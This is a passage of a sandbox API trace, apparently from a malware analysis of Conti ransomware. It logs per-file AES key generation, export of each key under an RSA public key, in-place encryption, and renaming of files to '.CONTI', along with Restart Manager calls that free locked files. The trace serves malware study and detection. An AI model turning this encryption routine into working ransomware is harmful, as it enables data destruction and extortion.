	[0129.653] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.653] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b53278 | out: phKey=0x6b53278*=0x17c7fb0) returned 1
	[0129.653] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5327c, pdwDataLen=0x35ffa54 | out: pbData=0x6b5327c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.654] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml")) returned 0x20
	[0129.654] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.654] GetLastError () returned 0x5
	[0129.654] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0129.654] GetProcessHeap () returned 0x1720000
	[0129.654] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65117e8 | out: hHeap=0x1720000) returned 1
	[0129.654] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0130.171] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b53950 | out: phKey=0x6b53950*=0x17c7e70) returned 1
	[0130.171] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53954, pdwDataLen=0x35ffa54 | out: pbData=0x6b53954*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0130.173] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico")) returned 0x20
	[0130.174] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.174] GetLastError () returned 0x5
	[0130.174] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0130.174] GetProcessHeap () returned 0x1720000
	[0130.174] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510e88 | out: hHeap=0x1720000) returned 1
	[0130.174] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0134.008] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b46c00 | out: phKey=0x6b46c00*=0x17c8030) returned 1
	[0134.008] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46c04, pdwDataLen=0x35ffa54 | out: pbData=0x6b46c04*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0134.009] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml")) returned 0x20
	[0134.009] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.009] GetLastError () returned 0x5
	[0134.009] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0134.009] GetProcessHeap () returned 0x1720000
	[0134.009] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x68955a0 | out: hHeap=0x1720000) returned 1
	[0134.009] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0134.709] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b469b8 | out: phKey=0x6b469b8*=0x17c82b0) returned 1
	[0134.709] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b469bc, pdwDataLen=0x35ffa54 | out: pbData=0x6b469bc*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0135.432] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" (normalized: "c:\\users\\all users\\microsoft\\windows defender advanced threat protection\\temp")) returned 0x10
	[0135.432] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" (normalized: "c:\\users\\all users\\microsoft\\windows defender advanced threat protection\\temp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.432] GetLastError () returned 0x5
	[0135.432] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0135.432] GetProcessHeap () returned 0x1720000
	[0135.432] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ea08 | out: hHeap=0x1720000) returned 1
	[0135.432] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0136.695] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b48088 | out: phKey=0x6b48088*=0x6b7f638) returned 1
	[0136.695] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4808c, pdwDataLen=0x35ffa54 | out: pbData=0x6b4808c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0136.697] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl")) returned 0x2000
	[0136.697] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.697] GetLastError () returned 0x20
	[0136.697] RmStartSession () returned 0x0
	[0136.703] RmRegisterResources () returned 0x0
	[0136.713] RmGetList () returned 0xea
	[0146.406] RmShutdown () 

Thread:
	id = 147
	os_tid = 0x137c

	[0093.141] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x12130000
	[0093.141] CryptAcquireContextA (in: phProv=0x36ffedc, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36ffedc*=0x176b820) returned 1
	[0093.143] CryptImportKey (in: hProv=0x176b820, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x36ffed8 | out: phKey=0x36ffed8*=0x175e8f0) returned 1
	[0093.144] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0093.171] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17bfc78 | out: phKey=0x17bfc78*=0x175e430) returned 1
	[0093.171] CryptExportKey (in: hKey=0x175e430, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17bfc7c, pdwDataLen=0x36ffea4 | out: pbData=0x17bfc7c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0093.173] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20
	[0093.340] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.340] GetLastError () returned 0x0
	[0093.340] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=42674) returned 1
	[0093.340] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa6b2
	[0093.340] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.340] SetEndOfFile (hFile=0x334) returned 1
	[0093.340] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.340] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.340] WriteFile (in: hFile=0x334, lpBuffer=0x17bfc7c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17bfc7c*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.342] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.342] ReadFile (in: hFile=0x334, lpBuffer=0x12130000, nNumberOfBytesToRead=0xa6b2, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0xa6b2, lpOverlapped=0x0) returned 1
	[0093.345] CryptEncrypt (in: hKey=0x175e430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0xa6b2, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0xa6c0) returned 1
	[0093.347] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.347] WriteFile (in: hFile=0x334, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0xa6c0, lpOverlapped=0x0) returned 1
	[0093.347] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.348] WriteFile (in: hFile=0x334, lpBuffer=0x17bfc70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17bfc70*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0093.348] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.348] CloseHandle (hObject=0x334) returned 1
	[0093.349] GetProcessHeap () returned 0x1720000
	[0093.349] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7f58
	[0093.350] lstrcpyW (in: lpString1=0x17c7f58, lpString2="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" | out: lpString1="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log"
	[0093.350] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", lpString2=".CONTI" | out: lpString1="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.CONTI") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.CONTI"
	[0093.350] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.CONTI" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.conti")) returned 1
	[0093.351] GetProcessHeap () returned 0x1720000
	[0093.351] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7f58 | out: hHeap=0x1720000) returned 1
	[0093.351] CryptDestroyKey (hKey=0x175e430) returned 1
	[0093.351] GetProcessHeap () returned 0x1720000
	[0093.351] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1726e10 | out: hHeap=0x1720000) returned 1
	[0093.351] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0093.747] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x175e4f0) returned 1
	[0093.747] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x36ffea4 | out: pbData=0x17d567c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0093.754] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80
	[0093.754] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.754] GetLastError () returned 0x0
	[0093.754] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=65238) returned 1
	[0093.754] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfed6
	[0093.754] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.754] SetEndOfFile (hFile=0x34c) returned 1
	[0093.754] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.754] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.755] WriteFile (in: hFile=0x34c, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.757] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.757] ReadFile (in: hFile=0x34c, lpBuffer=0x12130000, nNumberOfBytesToRead=0xfed6, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0xfed6, lpOverlapped=0x0) returned 1
	[0093.758] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0xfed6, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0xfee0) returned 1
	[0093.758] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.758] WriteFile (in: hFile=0x34c, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0xfee0, lpOverlapped=0x0) returned 1
	[0093.758] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.759] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0093.759] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.759] CloseHandle (hObject=0x34c) returned 1
	[0093.760] GetProcessHeap () returned 0x1720000
	[0093.760] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.761] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml"
	[0093.761] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.CONTI"
	[0093.762] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.conti")) returned 1
	[0093.762] GetProcessHeap () returned 0x1720000
	[0093.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.762] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0093.762] GetProcessHeap () returned 0x1720000
	[0093.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0648 | out: hHeap=0x1720000) returned 1
	[0093.762] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0094.079] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d2d68 | out: phKey=0x17d2d68*=0x175e6f0) returned 1
	[0094.079] CryptExportKey (in: hKey=0x175e6f0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2d6c, pdwDataLen=0x36ffea4 | out: pbData=0x17d2d6c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0094.085] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80
	[0094.085] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.085] GetLastError () returned 0x0
	[0094.085] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=80254) returned 1
	[0094.085] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1397e
	[0094.085] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.085] SetEndOfFile (hFile=0x34c) returned 1
	[0094.086] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.086] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.086] WriteFile (in: hFile=0x34c, lpBuffer=0x17d2d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17d2d6c*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.087] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.087] ReadFile (in: hFile=0x34c, lpBuffer=0x12130000, nNumberOfBytesToRead=0x1397e, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x1397e, lpOverlapped=0x0) returned 1
	[0094.089] CryptEncrypt (in: hKey=0x175e6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1397e, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x13980) returned 1
	[0094.089] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.089] WriteFile (in: hFile=0x34c, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x13980, lpOverlapped=0x0) returned 1
	[0094.089] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.089] WriteFile (in: hFile=0x34c, lpBuffer=0x17d2d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17d2d60*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0094.089] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.089] CloseHandle (hObject=0x34c) returned 1
	[0094.091] GetProcessHeap () returned 0x1720000
	[0094.091] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.092] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml"
	[0094.092] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.CONTI"
	[0094.092] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.conti")) returned 1
	[0094.093] GetProcessHeap () returned 0x1720000
	[0094.093] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.093] CryptDestroyKey (hKey=0x175e6f0) returned 1
	[0094.093] GetProcessHeap () returned 0x1720000
	[0094.093] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c05e0 | out: hHeap=0x1720000) returned 1
	[0094.093] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0095.297] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x17c7f30) returned 1
	[0095.297] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x36ffea4 | out: pbData=0x17d58c4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0095.297] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20
	[0096.837] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0096.837] GetLastError () returned 0x0
	[0096.837] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=1118208) returned 1
